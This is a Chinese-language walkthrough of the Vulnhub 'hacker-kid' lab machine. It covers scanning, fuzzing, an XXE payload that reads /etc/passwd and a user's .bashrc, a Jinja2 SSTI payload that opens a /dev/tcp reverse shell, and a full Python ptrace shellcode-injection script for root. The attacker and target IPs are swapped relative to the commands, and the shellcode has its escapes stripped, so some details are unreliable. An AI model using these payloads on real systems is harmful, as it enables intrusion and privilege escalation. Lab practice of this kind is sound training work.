前言
长时间没有更新了,本人目前因为刚找到工作不久,需要时间适应,所以到现在很长时间没有更新,对大家,我很是抱歉,后面会更新,只是时间可能不固定了,希望大家能理解一下。(ps:目前工作和渗透没有关系,倒是接触到几个安防设备)
靶机:hacker-kid
靶机,IP地址为192.168.5.8
攻击:kali
,IP地址为192.168.5.7
靶机和攻击机都采用VMware
虚拟机,都采用桥接网卡模式
文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,因为我的网盘到期了,暂时不放网盘链接了
主机发现
也就是相当于现实环境中去发现确定主机的ip
地址,因为这里是靶机环境,所以跳过了从域名到ip
地址的过程。
使用arp-scan -l
或者netdiscovery -r 192.168.5.1/24
当然也可以使用nmap
等工具进行
arp-scan -l
信息收集
使用nmap扫描目标端口等信息
首先扫描目标的tcp
端口的开放情况
nmap -sT --min-rate=1000 192.168.5.7 -p- -oA nmap-tcp
再扫描udp
端口的开放情况
nmap -sU --min-rate=1000 192.168.5.7 --top-ports 20 -oA nmap-udp
可以看到明确开放的udp
端口很少,过滤的偏多,但是记住有过滤的。下面对tcp
端口进行一个筛选
ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`
进一步对这些端口进行服务、系统等探测
nmap -sV -O -sC 192.168.5.7 -p $ports --min-rate=1000 -oA detail
再使用nmap
的漏洞检测脚本对这些端口进行探测
nmap --script=vuln 192.168.5.7 -p $ports -oA vuln
网站信息收集
访问80端口进行查看
这就是去寻找,查看页面源代码并未发现信息
现在尝试进行目录爆破,使用gobuster、dirsearch、ffuf、dirb
等工具进行测试
gobuster dir -u http://192.168.5.7 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md
可以看到几个目录,访问app.html
界面是这样的,但是查看页面源代码以及实际测试后,发现点击任何地方,都是在当前页面,也就是超链接指向的是#
。
访问form.html
界面
经过测试,以及查看页面源代码,并没有发现可疑之处
访问其他的几个目录,也没有任何效果
访问9999端口,发现有趣的地方,是一个登录界面
查看页面源代码,发现其form
表单是对数据进行处理的,那么这里就可能是一个可用点
尝试进行相关的测试,发现不存在sql
注入。并且如果爆破的话,时间太久,这个最后考虑
信息回顾
再次回顾,看有无遗漏点
发现在80端口的默认界面的页面源代码是有遗漏的,是指定的一个参数page_no
,在上面的截图中可疑看到,这里也放一下吧
那么对这个进行测试,确定这个参数有什么东西
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.5.7/?page_no=FUZZ -fs 3654
看到当参数page_no
的值为21时,所显示的页面字节大小是不同于默认的,访问查看一下
这里提到一个域名hackers.blackhat.local
,并且说可能有很多子域名,所以需要进行子域名的挖掘
域名挖掘
这里因为是本地的搭建,所以需要借助dig
中的语法,实现通过指定目标进行挖掘
dig hackers.blackhat.local @192.168.5.7
这里就是把目标ip中涉及到的域名给挖掘了
这时候,把这几个域名和目标ip
进行绑定
hackers.blackhat.local
blackhat.local
hackerkid.blackhat.local
在linux
和windows
两个操作系统中,都是通过编辑hosts
文件绑定解析,不过位置不同
分别访问这三个域名,最终在hackerkid.blackhat.local
发现不同的界面
XXE漏洞
直接输入测试,发现提示邮箱错误,并且是显示出的,但是邮箱的格式并没有问题,使用burp
抓取数据包进行查看,发现在点击注册后,请求数据是以xml
的形式请求的,那么是否存在相关漏洞呢,进行测试
//这里是原始的请求数据
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>
admin
</name>
<tel>
123
</tel>
<email>
[email protected]
</email>
<password>
12345
</password>
</root>
提示如下
那么是否这里的email
参数,我写什么,就会回显什么,若是带有注入的呢,对数据进行修改,再进行测试
//这里是修改后的数据
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY xxeSYSTEM"file:///etc/passwd">
]>
<root>
<name>
admin
</name>
<tel>
123
</tel>
<email>
&xxe;
</email>
<password>
12345
</password>
</root>
可以看到,对于文件访问,可以直接查看的,并且在/etc/passwd
文件中,还是发现有一个用户saket
的,截图没有截取,但是是有的,且目录是/home/saket
。
这里并没有ssh
,所以知道这个用户名及家目录,能获取到的,就需要测试了
通过测试远程代码执行,发现 expect://
是不行的
<!DOCTYPE email [
<!ENTITY xxeSYSTEM"expect://id">
]>
那么尝试文件读取吧,因为有可能存在限制,所以采用php://filter
,尝试读取在用户主目录下可能存在的文件,进行一个个的测试,当然最好的方式就是通过自己收集的字典去进行爆破
<!DOCTYPE email [
<!ENTITY xxeSYSTEM"php://filter/convert.base64-encode/resource=/home/saket/.bashrc">
]>
如下面常见的文件
.bash_history
.profile
.zshrc
.bashrc
.ssh/id_rsa
然后进行爆破
可以看到两个文件读取到内容.profile
和.bashrc
,尝试进行解码操作
在.profile
中并未看到有用的信息
在.bashrc
文件,发现用户名admin
和密码Saket!#$%@!!
之前可以登录的地方,只有9999端口的网站,访问后,以这一组凭证进行登录,发现不对。
联想到文件是用户saket
的,是否用户名为saket
,测试发现确实是如此
查看页面源代码,也没有信息,这里只有说告诉它名字,联想到这里是按照对面的指示一步步的发现的,可能有参数吧,进行测试,根据提示先猜测是否是name
,若不是再借助工具去进行爆破
确实是,查看页面源代码还是没有信息,不过经过测试,发现参数name
的值,输入什么,就会显示什么,测试发现sql、xss
注入并未有效果
SSTI注入
不过还有一种注入,是ssti
注入,若是有可以显示用户输入的信息时,也可能存在的。
尝试输入特殊字符(如{{}}
、{% %}
、${}
、<%%>
),观察页面是否直接显示输入内容,或是否出现异常报错。
|
|
|
Jinja2(Python) | {{7*7}} |
49 (计算结果) |
FreeMarker(Java) | ${7+7} |
14 |
Twig(PHP) | {{7*'7'[0]}} |
7 (字符串拼接) |
EJS(Node.js) | <%= 7*7 %> |
49 |
Mako(Python) | ${7+7} |
14 |
Velocity(Java) | #set($a=7+7) $a |
14 |
-
• 若 {}
被过滤,尝试: -
• {%7*7%}
(Jinja2 标签语法) -
• <%%=7*7%>
(EJS 标签语法)
测试后,发现在{{}}
和{%%}
时,出现报错,那么极有可能存在注入,进行测试{{7*7}}
,发现返回49,说明确实渲染了
构造语句,进行反弹shell
{%import os%}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.5.8/9999 0>&1"')}}
#进行url编码,因为在url请求中,最好进行编码处理
{%import%20os%}{{os.system(%27bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/192.168.5.8/9999%200%3E&1%22%27)}}
在kali
中开启一个监听9999端口,然后执行上面的语句
python2的cap_sys_ptrace提权
首先收集信息,查看历史命令记录,发现多次使用python2.7
执行inject.py
,并且nc
监听5600端口也是多次。还筛选了root
的进程,啧,这什么意思
那么尝试使用getcap
查看python2.7
的Capabilities
权限
getcap
不过这里的明显是有限制的
所以需要指定/sbin/getcap
,然后结合find
去寻找一下吧
find / -type f -executable 2>/dev/null | xargs /sbin/getcap -r 2>/dev/null
看到,并没有cap_setuid+ep
权限的文件,那么指向python2.7
有什么寓意
再查看进程
ps -eaf|grep root
不清楚,暂时搁置
在经历漫长的测试后,有点迷茫,不知道该怎么提权了,因为该测试的都测试了,常规sudo
,内核,上传脚本检测都有,提权是个问题
所以再回到这里思考,搜索Capabilities
中对应的几个权限,尝试从这里下手
啧,看来要学的是挺多的,之前一直以为在cap_setuid+ep
权限时可以提权,没想到不是这个权限的,还可以提升至该权限。
下面是根据网上的搜索,根据github
上的项目进行的编写python
脚本
# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
classuser_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
大致说明一下,该脚本启动需要搭载在以root
为主的进程中,所以需要筛选ps
然后启动后,以5600端口为介质,进行的提权操作
这里选择以apache
的进程进行搭载
ps -eaf | grep root
然后在kali
中使用EOF
把上面的python
代码写入到一个文件中inject.py
,并给予执行权限
cat << 'EOF' > inject.py
>代码....
>EOF //表示结束
执行这个脚本
python2.7 inject.py 976
这里我虽然执行了,但是并没有在5600端口监听,所以还是选择进行遍历操作
编写下面代码
for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
执行成功,大概就是这种样子
然后通过netstat
或ss
查看对应的5600端口
netstat -antulp | grep 5600
ss -antulp | grep 5600
这时在kali
通过nc
进行正向连接,即可获得root
权限的终端
总结
该靶场的几个方面是我不太熟练的,通过这个靶机也是加深了印象
-
1. dig
指定目标进行对应的域名挖掘 -
2. 隐藏信息的提示,不可忽略,所以要能看懂一些英文 -
3. XXE漏洞的利用,获取关键信息 -
4. 对于用户的主目录下的一些常见文件要有印象,或者有自己的一个字典 -
5. SSTI注入的利用,这个要清楚 -
6. 提权的 Capabilities
的几种权限,大致知道,并且要知道权限之间也是可以提升的
参考链接
-
1. https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
-
2. https://www.cnblogs.com/zlgxzswjy/p/15185591.html
原文始发于微信公众号(泷羽sec-何生安全):vulnhub靶场之【hacker-kid靶机】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论